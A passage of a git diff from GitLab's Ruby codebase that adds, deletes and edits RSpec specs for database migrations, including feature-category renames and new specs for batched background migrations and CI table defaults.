- project_fingerprint: '123qweasdzxc', location_fingerprint: 'test',
- metadata_version: 'test', raw_metadata: 'test', uuid: SecureRandom.uuid)
- vulnerabilities_findings.create!(
- vulnerability_id: vulnerability_id,
- project_id: project_id,
- name: name,
- severity: severity,
- confidence: confidence,
- report_type: report_type,
- project_fingerprint: project_fingerprint,
- scanner_id: scanner_id,
- primary_identifier_id: primary_identifier_id,
- location_fingerprint: location_fingerprint,
- metadata_version: metadata_version,
- raw_metadata: raw_metadata,
- uuid: uuid
- )
- end
- # rubocop:enable Metrics/ParameterLists
-
- def create_user!(name: "Example User", email: "user@example.com", user_type: nil)
- users.create!(
- name: name,
- email: email,
- username: name,
- projects_limit: 0,
- user_type: user_type,
- confirmed_at: Time.current
- )
- end
-end
diff --git a/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb b/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb
deleted file mode 100644
index 8a76f0847e9..00000000000
--- a/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleCleanupOrphanedLfsObjectsProjects, schema: 20210511165250, feature_category: :git_lfs do
- let(:lfs_objects_projects) { table(:lfs_objects_projects) }
- let(:projects) { table(:projects) }
- let(:namespaces) { table(:namespaces) }
- let(:lfs_objects) { table(:lfs_objects) }
-
- let(:namespace) { namespaces.create!(name: 'namespace', path: 'namespace') }
- let(:project) { projects.create!(namespace_id: namespace.id) }
- let(:another_project) { projects.create!(namespace_id: namespace.id) }
- let(:lfs_object) { lfs_objects.create!(oid: 'abcdef', size: 1) }
- let(:another_lfs_object) { lfs_objects.create!(oid: '1abcde', size: 2) }
-
- describe '#up' do
- it 'schedules CleanupOrphanedLfsObjectsProjects background jobs' do
- stub_const("#{described_class}::BATCH_SIZE", 2)
-
- lfs_objects_project1 = lfs_objects_projects.create!(project_id: project.id, lfs_object_id: lfs_object.id)
- lfs_objects_project2 = lfs_objects_projects.create!(project_id: another_project.id, lfs_object_id: lfs_object.id)
- lfs_objects_project3 = lfs_objects_projects.create!(project_id: project.id, lfs_object_id: another_lfs_object.id)
- lfs_objects_project4 = lfs_objects_projects.create!(project_id: another_project.id, lfs_object_id: another_lfs_object.id)
-
- freeze_time do
- migrate!
-
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, lfs_objects_project1.id, lfs_objects_project2.id)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, lfs_objects_project3.id, lfs_objects_project4.id)
-
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- end
- end
- end
-end
diff --git a/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb b/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb
deleted file mode 100644
index 24a71e48035..00000000000
--- a/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe FixTotalStageInVsa, :migration, schema: 20210518001450, feature_category: :devops_reports do
- let(:namespaces) { table(:namespaces) }
- let(:group_value_streams) { table(:analytics_cycle_analytics_group_value_streams) }
- let(:group_stages) { table(:analytics_cycle_analytics_group_stages) }
-
- let!(:group) { namespaces.create!(name: 'ns1', path: 'ns1', type: 'Group') }
- let!(:group_vs_1) { group_value_streams.create!(name: 'default', group_id: group.id) }
- let!(:group_vs_2) { group_value_streams.create!(name: 'other', group_id: group.id) }
- let!(:group_vs_3) { group_value_streams.create!(name: 'another', group_id: group.id) }
- let!(:group_stage_total) { group_stages.create!(name: 'Total', custom: false, group_id: group.id, group_value_stream_id: group_vs_1.id, start_event_identifier: 1, end_event_identifier: 2) }
- let!(:group_stage_different_name) { group_stages.create!(name: 'Issue', custom: false, group_id: group.id, group_value_stream_id: group_vs_2.id, start_event_identifier: 1, end_event_identifier: 2) }
- let!(:group_stage_total_custom) { group_stages.create!(name: 'Total', custom: true, group_id: group.id, group_value_stream_id: group_vs_3.id, start_event_identifier: 1, end_event_identifier: 2) }
-
- it 'deduplicates issue_metrics table' do
- migrate!
-
- group_stage_total.reload
- group_stage_different_name.reload
- group_stage_total_custom.reload
-
- expect(group_stage_total.custom).to eq(true)
- expect(group_stage_different_name.custom).to eq(false)
- expect(group_stage_total_custom.custom).to eq(true)
- end
-end
diff --git a/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb b/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb
deleted file mode 100644
index 592497805de..00000000000
--- a/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe GroupProtectedEnvironmentsAddIndexAndConstraint, feature_category: :continuous_delivery do
- let(:migration) { described_class.new }
- let(:protected_environments) { table(:protected_environments) }
- let(:group) { table(:namespaces).create!(name: 'group', path: 'group') }
- let(:project) { table(:projects).create!(name: 'project', path: 'project', namespace_id: group.id) }
-
- describe '#down' do
- it 'deletes only group-level configurations' do
- migration.up
-
- project_protections = [
- protected_environments.create!(project_id: project.id, name: 'production'),
- protected_environments.create!(project_id: project.id, name: 'staging')
- ]
- protected_environments.create!(group_id: group.id, name: 'production')
- protected_environments.create!(group_id: group.id, name: 'staging')
-
- migration.down
-
- expect(protected_environments.pluck(:id))
- .to match_array project_protections.map(&:id)
- end
- end
-end
diff --git a/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb b/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb
index 604504d2206..0f202129e82 100644
--- a/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb
+++ b/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
require_migration!
-RSpec.describe RescheduleMergeRequestDiffUsersBackgroundMigration, :migration, feature_category: :code_review do
+RSpec.describe RescheduleMergeRequestDiffUsersBackgroundMigration,
+ :migration, feature_category: :code_review_workflow do
let(:migration) { described_class.new }
describe '#up' do
diff --git a/spec/migrations/20210804150320_create_base_work_item_types_spec.rb b/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
index 5626b885626..e7f76eb0ae0 100644
--- a/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
+++ b/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
@@ -17,7 +17,8 @@ RSpec.describe CreateBaseWorkItemTypes, :migration, feature_category: :team_plan
}
end
- after(:all) do
+ # We use append_after to make sure this runs after the schema was reset to its latest state
+ append_after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
reset_work_item_types
diff --git a/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb b/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
index 2a19dc025a7..4c7ef9ac1e8 100644
--- a/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
+++ b/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe UpsertBaseWorkItemTypes, :migration, feature_category: :team_plan
}
end
- after(:all) do
+ append_after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
reset_work_item_types
diff --git a/spec/migrations/20211012134316_clean_up_migrate_merge_request_diff_commit_users_spec.rb b/spec/migrations/20211012134316_clean_up_migrate_merge_request_diff_commit_users_spec.rb
index f627ea825b3..a61e450d9ab 100644
--- a/spec/migrations/20211012134316_clean_up_migrate_merge_request_diff_commit_users_spec.rb
+++ b/spec/migrations/20211012134316_clean_up_migrate_merge_request_diff_commit_users_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration! 'clean_up_migrate_merge_request_diff_commit_users'
-RSpec.describe CleanUpMigrateMergeRequestDiffCommitUsers, :migration, feature_category: :code_review do
+RSpec.describe CleanUpMigrateMergeRequestDiffCommitUsers, :migration, feature_category: :code_review_workflow do
describe '#up' do
context 'when there are pending jobs' do
it 'processes the jobs immediately' do
diff --git a/spec/migrations/20211028155449_schedule_fix_merge_request_diff_commit_users_migration_spec.rb b/spec/migrations/20211028155449_schedule_fix_merge_request_diff_commit_users_migration_spec.rb
index c7a0b938ca1..968d9cf176c 100644
--- a/spec/migrations/20211028155449_schedule_fix_merge_request_diff_commit_users_migration_spec.rb
+++ b/spec/migrations/20211028155449_schedule_fix_merge_request_diff_commit_users_migration_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration! 'schedule_fix_merge_request_diff_commit_users_migration'
-RSpec.describe ScheduleFixMergeRequestDiffCommitUsersMigration, :migration, feature_category: :code_review do
+RSpec.describe ScheduleFixMergeRequestDiffCommitUsersMigration, :migration, feature_category: :code_review_workflow do
let(:migration) { described_class.new }
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
diff --git a/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb b/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb
index 32edd3615ff..db68e895b61 100644
--- a/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb
+++ b/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe AddTaskToWorkItemTypes, :migration, feature_category: :team_plann
}
end
- after(:all) do
+ append_after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
reset_work_item_types
diff --git a/spec/migrations/20220315171129_cleanup_draft_data_from_faulty_regex_spec.rb b/spec/migrations/20220315171129_cleanup_draft_data_from_faulty_regex_spec.rb
index 1760535e66f..85fe3d712a2 100644
--- a/spec/migrations/20220315171129_cleanup_draft_data_from_faulty_regex_spec.rb
+++ b/spec/migrations/20220315171129_cleanup_draft_data_from_faulty_regex_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!
-RSpec.describe CleanupDraftDataFromFaultyRegex, feature_category: :code_review do
+RSpec.describe CleanupDraftDataFromFaultyRegex, feature_category: :code_review_workflow do
let(:merge_requests) { table(:merge_requests) }
let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
diff --git a/spec/migrations/20220502015011_clean_up_fix_merge_request_diff_commit_users_spec.rb b/spec/migrations/20220502015011_clean_up_fix_merge_request_diff_commit_users_spec.rb
index e316ad25214..47d407618d2 100644
--- a/spec/migrations/20220502015011_clean_up_fix_merge_request_diff_commit_users_spec.rb
+++ b/spec/migrations/20220502015011_clean_up_fix_merge_request_diff_commit_users_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration! 'clean_up_fix_merge_request_diff_commit_users'
-RSpec.describe CleanUpFixMergeRequestDiffCommitUsers, :migration, feature_category: :code_review do
+RSpec.describe CleanUpFixMergeRequestDiffCommitUsers, :migration, feature_category: :code_review_workflow do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
let(:project_namespace) { namespaces.create!(name: 'project2', path: 'project2', type: 'Project') }
diff --git a/spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb b/spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb
index 3ab33367303..6284608becb 100644
--- a/spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb
+++ b/spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe AddObjectiveAndKeyresultToWorkItemTypes, :migration, feature_cate
}
end
- after(:all) do
+ append_after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
reset_work_item_types
diff --git a/spec/migrations/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in_spec.rb b/spec/migrations/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in_spec.rb
new file mode 100644
index 00000000000..da6532a822a
--- /dev/null
+++ b/spec/migrations/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in_spec.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe CleanupOAuthAccessTokensWithNullExpiresIn, feature_category: :authentication_and_authorization do
+ let(:batched_migration) { described_class::MIGRATION }
+
+ it 'schedules background jobs for each batch of oauth_access_tokens' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(batched_migration).not_to have_scheduled_batched_migration
+ }
+
+ migration.after -> {
+ expect(batched_migration).to have_scheduled_batched_migration(
+ table_name: :oauth_access_tokens,
+ column_name: :id,
+ interval: described_class::INTERVAL
+ )
+ }
+ end
+ end
+end
diff --git a/spec/migrations/20221215151822_schedule_backfill_releases_author_id_spec.rb b/spec/migrations/20221215151822_schedule_backfill_releases_author_id_spec.rb
new file mode 100644
index 00000000000..d7aa53ec35b
--- /dev/null
+++ b/spec/migrations/20221215151822_schedule_backfill_releases_author_id_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleBackfillReleasesAuthorId, feature_category: :release_orchestration do
+ context 'when there are releases without author' do
+ let(:releases_table) { table(:releases) }
+ let(:user_table) { table(:users) }
+ let(:date_time) { DateTime.now }
+ let!(:batched_migration) { described_class::MIGRATION }
+ let!(:test_user) do
+ user_table.create!(name: 'test',
+ email: 'test@example.com',
+ username: 'test',
+ projects_limit: 10)
+ end
+
+ before do
+ releases_table.create!(tag: 'tag1', name: 'tag1',
+ released_at: (date_time - 1.minute), author_id: test_user.id)
+ releases_table.create!(tag: 'tag2', name: 'tag2',
+ released_at: (date_time - 2.minutes), author_id: test_user.id)
+ releases_table.new(tag: 'tag3', name: 'tag3',
+ released_at: (date_time - 3.minutes), author_id: nil).save!(validate: false)
+ releases_table.new(tag: 'tag4', name: 'tag4',
+ released_at: (date_time - 4.minutes), author_id: nil).save!(validate: false)
+ end
+
+ it 'schedules a new batched migration' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(batched_migration).not_to have_scheduled_batched_migration
+ }
+
+ migration.after -> {
+ expect(batched_migration).to have_scheduled_batched_migration(
+ table_name: :releases,
+ column_name: :id,
+ interval: described_class::JOB_DELAY_INTERVAL,
+ job_arguments: [User.find_by(user_type: :ghost)&.id]
+ )
+ }
+ end
+ end
+ end
+
+ context 'when there are no releases without author' do
+ it 'does not schedule batched migration' do
+ expect(described_class.new.up).not_to have_scheduled_batched_migration
+ end
+ end
+end
diff --git a/spec/migrations/20221220131020_bump_default_partition_id_value_for_ci_tables_spec.rb b/spec/migrations/20221220131020_bump_default_partition_id_value_for_ci_tables_spec.rb
new file mode 100644
index 00000000000..c4bd243e79f
--- /dev/null
+++ b/spec/migrations/20221220131020_bump_default_partition_id_value_for_ci_tables_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe BumpDefaultPartitionIdValueForCiTables, :migration, feature_category: :continuous_integration do
+ context 'when on sass' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ end
+
+ it 'changes default values' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(default_values).not_to include(101)
+ }
+
+ migration.after -> {
+ expect(default_values).to match_array([101])
+ }
+ end
+ end
+
+ context 'with tables already changed' do
+ before do
+ active_record_base.connection.execute(<<~SQL)
+ ALTER TABLE ci_builds ALTER COLUMN partition_id SET DEFAULT 101
+ SQL
+ end
+
+ after do
+ schema_migrate_down!
+ end
+
+ let(:alter_query) do
+ /ALTER TABLE "ci_builds" ALTER COLUMN "partition_id" SET DEFAULT 101/
+ end
+
+ it 'skips updating already changed tables' do
+ recorder = ActiveRecord::QueryRecorder.new { migrate! }
+
+ expect(recorder.log.any?(alter_query)).to be_falsey
+ expect(default_values).to match_array([101])
+ end
+ end
+ end
+
+ context 'when self-managed' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(false)
+ end
+
+ it 'does not change default values' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(default_values).not_to include(101)
+ }
+
+ migration.after -> {
+ expect(default_values).not_to include(101)
+ }
+ end
+ end
+ end
+
+ def default_values
+ values = described_class::TABLES.flat_map do |table_name, columns|
+ active_record_base
+ .connection
+ .columns(table_name)
+ .select { |column| columns.include?(column.name.to_sym) }
+ .map { |column| column.default&.to_i }
+ end
+
+ values.uniq
+ end
+end
diff --git a/spec/migrations/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration_spec.rb b/spec/migrations/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration_spec.rb
new file mode 100644
index 00000000000..6f9cfe4764a
--- /dev/null
+++ b/spec/migrations/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe RemoveTempIndexForProjectStatisticsUploadSizeMigration,
+feature_category: :subscription_cost_management do
+ let(:table_name) { 'project_statistics' }
+ let(:index_name) { described_class::INDEX_NAME }
+
+ it 'correctly migrates up and down' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(subject.index_exists_by_name?(table_name, index_name)).to be_truthy
+ }
+
+ migration.after -> {
+ expect(subject.index_exists_by_name?(table_name, index_name)).to be_falsy
+ }
+ end
+ end
+end
diff --git a/spec/migrations/20221222092958_sync_new_amount_used_with_amount_used_spec.rb b/spec/migrations/20221222092958_sync_new_amount_used_with_amount_used_spec.rb
new file mode 100644
index 00000000000..158560a2432
--- /dev/null
+++ b/spec/migrations/20221222092958_sync_new_amount_used_with_amount_used_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe SyncNewAmountUsedWithAmountUsed, migration: :gitlab_ci, feature_category: :continuous_integration do
+ let(:project_usages) { table(:ci_project_monthly_usages) }
+ let(:migration) { described_class.new }
+
+ before do
+ # Disabling the trigger temporarily to allow records being created with out-of-sync
+ # `new_amount_used` and `amount_used`. This will simulate existing records before
+ # we add the trigger.
+ ActiveRecord::Base.connection
+ .execute("ALTER TABLE ci_project_monthly_usages DISABLE TRIGGER sync_projects_amount_used_columns")
+
+ this_month = Time.now.utc.beginning_of_month
+ last_month = 1.month.ago.utc.beginning_of_month
+ last_year = 1.year.ago.utc.beginning_of_month
+
+ project_usages.create!(project_id: 1, date: last_year)
+ project_usages.create!(project_id: 1, date: this_month, amount_used: 10, new_amount_used: 0)
+ project_usages.create!(project_id: 1, date: last_month, amount_used: 20, new_amount_used: 0)
+
+ project_usages.create!(project_id: 2, date: last_year)
+ project_usages.create!(project_id: 2, date: this_month, amount_used: 30, new_amount_used: 0)
+ project_usages.create!(project_id: 2, date: last_month, amount_used: 40, new_amount_used: 0)
+
+ ActiveRecord::Base.connection
+ .execute("ALTER TABLE ci_project_monthly_usages ENABLE TRIGGER sync_projects_amount_used_columns")
+ end
+
+ describe '#up' do
+ it "doesnt change new_amount_used values" do
+ data = project_usages.all
+ data.each do |item|
+ expect { migration.up }.to not_change { item.new_amount_used }
+ end
+ end
+ end
+
+ describe '#down' do
+ it 'updates `new_amount_used` with values from `amount_used`' do
+ expect(project_usages.where(new_amount_used: 0).count).to eq(6)
+
+ migration.down
+
+ expect(project_usages.where(new_amount_used: 0).count).to eq(2)
+ expect(project_usages.order(:id).pluck(:new_amount_used))
+ .to contain_exactly(0, 0, 10, 20, 30, 40)
+ end
+ end
+end
diff --git a/spec/migrations/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration_spec.rb b/spec/migrations/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration_spec.rb
new file mode 100644
index 00000000000..c5e1a255653
--- /dev/null
+++ b/spec/migrations/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe DeleteQueuedJobsForVulnerabilitiesFeedbackMigration, feature_category: :vulnerability_management do
+ let!(:migration) { described_class.new }
+ let(:batched_background_migrations) { table(:batched_background_migrations) }
+
+ before do
+ batched_background_migrations.create!(
+ max_value: 10,
+ batch_size: 250,
+ sub_batch_size: 50,
+ interval: 300,
+ job_class_name: 'MigrateVulnerabilitiesFeedbackToVulnerabilitiesStateTransition',
+ table_name: 'vulnerability_feedback',
+ column_name: 'id',
+ job_arguments: [],
+ gitlab_schema: "gitlab_main"
+ )
+ end
+
+ describe "#up" do
+ it "deletes all batched migration records" do
+ expect(batched_background_migrations.count).to eq(1)
+
+ migration.up
+
+ expect(batched_background_migrations.count).to eq(0)
+ end
+ end
+end
diff --git a/spec/migrations/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table_spec.rb b/spec/migrations/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table_spec.rb
new file mode 100644
index 00000000000..aa82ca2661b
--- /dev/null
+++ b/spec/migrations/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe SyncNewAmountUsedWithAmountUsedOnCiNamespaceMonthlyUsagesTable, migration: :gitlab_ci,
+feature_category: :continuous_integration do
+ let(:namespace_usages) { table(:ci_namespace_monthly_usages) }
+ let(:migration) { described_class.new }
+
+ before do
+ # Disabling the trigger temporarily to allow records being created with out-of-sync
+ # `new_amount_used` and `amount_used`. This will simulate existing records before
+ # we add the trigger.
+ ActiveRecord::Base.connection
+ .execute("ALTER TABLE ci_namespace_monthly_usages DISABLE TRIGGER sync_namespaces_amount_used_columns")
+
+ this_month = Time.now.utc.beginning_of_month
+ last_month = 1.month.ago.utc.beginning_of_month
+ last_year = 1.year.ago.utc.beginning_of_month
+
+ namespace_usages.create!(namespace_id: 1, date: last_year)
+ namespace_usages.create!(namespace_id: 1, date: this_month, amount_used: 10, new_amount_used: 0)
+ namespace_usages.create!(namespace_id: 1, date: last_month, amount_used: 20, new_amount_used: 0)
+
+ namespace_usages.create!(namespace_id: 2, date: last_year)
+ namespace_usages.create!(namespace_id: 2, date: this_month, amount_used: 30, new_amount_used: 0)
+ namespace_usages.create!(namespace_id: 2, date: last_month, amount_used: 40, new_amount_used: 0)
+
+ ActiveRecord::Base.connection
+ .execute("ALTER TABLE ci_namespace_monthly_usages ENABLE TRIGGER sync_namespaces_amount_used_columns")
+ end
+
+ describe '#up' do
+ it "doesnt change new_amount_used values" do
+ data = namespace_usages.all
+ data.each do |item|
+ expect { migration.up }.to not_change { item.new_amount_used }
+ end
+ end
+ end
+
+ describe '#down' do
+ it 'updates `new_amount_used` with values from `amount_used`' do
+ expect(namespace_usages.where(new_amount_used: 0).count).to eq(6)
+
+ migration.down
+
+ expect(namespace_usages.where(new_amount_used: 0).count).to eq(2)
+ expect(namespace_usages.order(:id).pluck(:new_amount_used))
+ .to contain_exactly(0, 0, 10, 20, 30, 40)
+ end
+ end
+end
diff --git a/spec/migrations/20230116111252_finalize_todo_sanitization_spec.rb b/spec/migrations/20230116111252_finalize_todo_sanitization_spec.rb
new file mode 100644
index 00000000000..cd7828bbae4
--- /dev/null
+++ b/spec/migrations/20230116111252_finalize_todo_sanitization_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe FinalizeTodoSanitization, :migration, feature_category: :portfolio_management do
+ let(:batched_migrations) { table(:batched_background_migrations) }
+
+ let!(:migration) { described_class::MIGRATION }
+
+ describe '#up' do
+ let!(:sanitize_todos_migration) do
+ batched_migrations.create!(
+ job_class_name: 'SanitizeConfidentialTodos',
+ table_name: :notes,
+ column_name: :id,
+ job_arguments: [],
+ interval: 2.minutes,
+ min_value: 1,
+ max_value: 2,
+ batch_size: 1000,
+ sub_batch_size: 200,
+ gitlab_schema: :gitlab_main,
+ status: 3 # finished
+ )
+ end
+
+ context 'when migration finished successfully' do
+ it 'does not raise exception' do
+ expect { migrate! }.not_to raise_error
+ end
+ end
+
+ context 'with different migration statuses' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:status, :description) do
+ 0 | 'paused'
+ 1 | 'active'
+ 4 | 'failed'
+ 5 | 'finalizing'
+ end
+
+ with_them do
+ before do
+ sanitize_todos_migration.update!(status: status)
+ end
+
+ it 'finalizes the migration' do
+ allow_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner) do |runner|
+ expect(runner).to receive(:finalize).with('SanitizeConfidentialTodos', :members, :id, [])
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/migrations/add_new_trail_plans_spec.rb b/spec/migrations/add_new_trail_plans_spec.rb
deleted file mode 100644
index 6f8de8435c6..00000000000
--- a/spec/migrations/add_new_trail_plans_spec.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe AddNewTrailPlans, :migration, feature_category: :purchase do
- describe '#up' do
- before do
- allow(Gitlab).to receive(:com?).and_return true
- end
-
- it 'creates 2 entries within the plans table' do
- expect { migrate! }.to change { AddNewTrailPlans::Plan.count }.by 2
- expect(AddNewTrailPlans::Plan.last(2).pluck(:name)).to match_array(%w(ultimate_trial premium_trial))
- end
-
- it 'creates 2 entries for plan limits' do
- expect { migrate! }.to change { AddNewTrailPlans::PlanLimits.count }.by 2
- end
-
- context 'when the plan limits for gold and silver exists' do
- before do
- table(:plans).create!(id: 1, name: 'gold', title: 'Gold')
- table(:plan_limits).create!(id: 1, plan_id: 1, storage_size_limit: 2000)
- table(:plans).create!(id: 2, name: 'silver', title: 'Silver')
- table(:plan_limits).create!(id: 2, plan_id: 2, storage_size_limit: 1000)
- end
-
- it 'duplicates the gold and silvers plan limits entries' do
- migrate!
-
- ultimate_plan_limits = AddNewTrailPlans::Plan.find_by(name: 'ultimate_trial').limits
- expect(ultimate_plan_limits.storage_size_limit).to be 2000
-
- premium_plan_limits = AddNewTrailPlans::Plan.find_by(name: 'premium_trial').limits
- expect(premium_plan_limits.storage_size_limit).to be 1000
- end
- end
-
- context 'when the instance is not SaaS' do
- before do
- allow(Gitlab).to receive(:com?).and_return false
- end
-
- it 'does not create plans and plan limits and returns' do
- expect { migrate! }.not_to change { AddNewTrailPlans::Plan.count }
- expect { migrate! }.not_to change { AddNewTrailPlans::Plan.count }
- end
- end
- end
-
- describe '#down' do
- before do
- table(:plans).create!(id: 3, name: 'other')
- table(:plan_limits).create!(plan_id: 3)
- end
-
- context 'when the instance is SaaS' do
- before do
- allow(Gitlab).to receive(:com?).and_return true
- end
-
- it 'removes the newly added ultimate and premium trial entries' do
- migrate!
-
- expect { described_class.new.down }.to change { AddNewTrailPlans::Plan.count }.by(-2)
- expect(AddNewTrailPlans::Plan.find_by(name: 'premium_trial')).to be_nil
- expect(AddNewTrailPlans::Plan.find_by(name: 'ultimate_trial')).to be_nil
-
- other_plan = AddNewTrailPlans::Plan.find_by(name: 'other')
- expect(other_plan).to be_persisted
- expect(AddNewTrailPlans::PlanLimits.count).to eq(1)
- expect(AddNewTrailPlans::PlanLimits.first.plan_id).to eq(other_plan.id)
- end
- end
-
- context 'when the instance is not SaaS' do
- before do
- allow(Gitlab).to receive(:com?).and_return false
- table(:plans).create!(id: 1, name: 'ultimate_trial', title: 'Ultimate Trial')
- table(:plans).create!(id: 2, name: 'premium_trial', title: 'Premium Trial')
- table(:plan_limits).create!(id: 1, plan_id: 1)
- table(:plan_limits).create!(id: 2, plan_id: 2)
- end
-
- it 'does not delete plans and plan limits and returns' do
- migrate!
-
- expect { described_class.new.down }.not_to change { AddNewTrailPlans::Plan.count }
- expect(AddNewTrailPlans::PlanLimits.count).to eq(3)
- end
- end
- end
-end
diff --git a/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb b/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb
deleted file mode 100644
index 1c7745a64ef..00000000000
--- a/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe BackfillClustersIntegrationPrometheusEnabled, :migration, feature_category: :clusters_applications_prometheus do
- def create_cluster!(label = rand(2**64).to_s)
- table(:clusters).create!(
- name: "cluster: #{label}",
- created_at: 1.day.ago,
- updated_at: 1.day.ago
- )
- end
-
- def create_clusters_applications_prometheus!(label, status:, cluster_id: nil)
- table(:clusters_applications_prometheus).create!(
- cluster_id: cluster_id || create_cluster!(label).id,
- status: status,
- version: "#{label}: version",
- created_at: 1.day.ago, # artificially aged
- updated_at: 1.day.ago, # artificially aged
- encrypted_alert_manager_token: "#{label}: token",
- encrypted_alert_manager_token_iv: "#{label}: iv"
- )
- end
-
- def create_clusters_integration_prometheus!
- table(:clusters_integration_prometheus).create!(
- cluster_id: create_cluster!.id,
- enabled: false,
- created_at: 1.day.ago,
- updated_at: 1.day.ago
- )
- end
-
- RSpec::Matchers.define :be_enabled_and_match_application_values do |application|
- match do |actual|
- actual.enabled == true &&
- actual.encrypted_alert_manager_token == application.encrypted_alert_manager_token &&
- actual.encrypted_alert_manager_token_iv == application.encrypted_alert_manager_token_iv
- end
- end
-
- describe '#up' do
- it 'backfills the enabled status and alert manager credentials from clusters_applications_prometheus' do
- status_installed = 3
- status_externally_installed = 11
- status_installable = 0
-
- existing_integration = create_clusters_integration_prometheus!
- unaffected_existing_integration = create_clusters_integration_prometheus!
